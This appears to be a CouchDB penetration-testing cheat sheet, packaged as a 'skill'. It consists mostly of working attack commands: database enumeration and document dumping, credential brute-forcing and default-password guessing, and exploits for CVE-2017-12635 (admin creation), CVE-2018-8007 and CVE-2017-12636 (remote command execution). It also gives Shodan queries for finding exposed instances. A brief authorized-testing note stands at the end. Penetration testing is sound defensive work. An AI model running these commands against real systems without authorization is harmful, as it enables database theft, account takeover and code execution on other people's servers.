Couchdb Pentest

CouchDB Pentesting

A comprehensive skill for testing CouchDB document-oriented databases for security vulnerabilities.

Quick Start

# Basic enumeration
curl http://<IP>:5984/

# List all databases
curl http://<IP>:5984/_all_dbs

# With credentials
curl http://<user>:<password>@<IP>:5984/_all_dbs

Enumeration

Automatic Enumeration

Use these tools for initial reconnaissance:

# Nmap scripts
nmap -sV --script couchdb-databases,couchdb-stats -p 5984 <IP>

# Metasploit
msfconsole
use auxiliary/scanner/couchdb/couchdb_enum
set RHOSTS <IP>
run

Manual Enumeration

Banner Grabbing

curl http://<IP>:5984/

Expected responses:

• {"couchdb":"Welcome","version":"0.10.1"} - Version info
• {"error":"unauthorized","reason":"Authentication required."} - Auth required (401)

Information Endpoints

These endpoints reveal system information:

Database Enumeration

# List all databases
curl -X GET http://<IP>:5984/_all_dbs

# Get database info
curl http://<IP>:5984/<database_name>

# List documents in database
curl -X GET http://<IP>:5984/<database_name>/_all_docs

# Read specific document
curl -X GET http://<IP>:5984/<database_name>/<document_id>

Authentication Testing

Credential Discovery

If you receive 401 Unauthorized responses, try:

1. Brute force - Use common credentials or password lists
2. Default credentials - Check for admin:admin, couchdb:couchdb
3. Extract from configs - Look for credentials in backup files or configs

Using Credentials

# URL encoding
curl http://<user>:<password>@<IP>:5984/_all_dbs

# Or with -u flag
curl -u <user>:<password> http://<IP>:5984/_all_dbs

Privilege Escalation

CVE-2017-12635 - Admin User Creation

Exploit JSON parser differences to create admin users:

curl -X PUT \
  -d '{"type":"user","name":"<username>","roles":["_admin"],"roles":[],"password":"<password>"}' \
  http://<IP>:5984/_users/org.couchdb.user:<username> \
  -H "Content-Type:application/json"

Note: The duplicate roles keys exploit parser differences between Erlang and JavaScript.

Remote Code Execution

CVE-2018-8007 - Configuration Injection

Requires write access to local.ini file:

# Inject command via CORS configuration
curl -X PUT \
  'http://<user>:<password>@<IP>:5984/_node/couchdb@<IP>/_config/cors/origins' \
  -H "Accept: application/json" \
  -H "Content-Type: application/json" \
  -d "<origin>\n\n[os_daemons]\ntestdaemon = /path/to/command"

# Restart CouchDB to trigger execution
kill <couchdb_process_id>

CVE-2017-12636 - Query Server Exploitation

Requires write access to local.ini:

# Add custom query server
curl -X PUT \
  'http://<user>:<password>@<IP>:5984/_node/couchdb@<IP>/_config/query_servers/cmd' \
  -d '"/path/to/command"'

# Create database and design document
curl -X PUT 'http://<user>:<password>@<IP>:5984/<dbname>'
curl -X PUT 'http://<user>:<password>@<IP>:5984/<dbname>/_design/<viewname>' \
  -d '{"_id": "_design/<viewname>", "views": {"anything": {"map": ""} }, "language": "cmd"}'

# Trigger execution
curl http://<user>:<password>@<IP>:5984/<dbname>/_design/<viewname>/_view/anything

Erlang Cookie Exploitation

If port 4369 (EPMD) is accessible:

1. Extract the Erlang cookie from the system
2. Use it to connect to the Erlang node
3. Execute arbitrary code via the Erlang shell

See the Erlang EPMD pentesting guide for detailed exploitation steps.

Shodan Queries

# Find CouchDB instances
port:5984 couchdb

# Find unauthenticated instances
port:5984 "Welcome"

# Find specific versions
port:5984 "version":"2.0.0"

Common Databases to Check

• _users - User accounts
• _replicator - Replication configurations
• _global_changes - Change tracking
• _metadata - Metadata storage

Safety Notes

• Always test in authorized environments only
• RCE exploits may crash the CouchDB service
• Backup configurations before testing
• Document all findings for remediation

References

• CouchDB API Documentation
• CVE-2017-12635 Details
• CVE-2018-8007 Advisory
• CVE-2017-12636 POC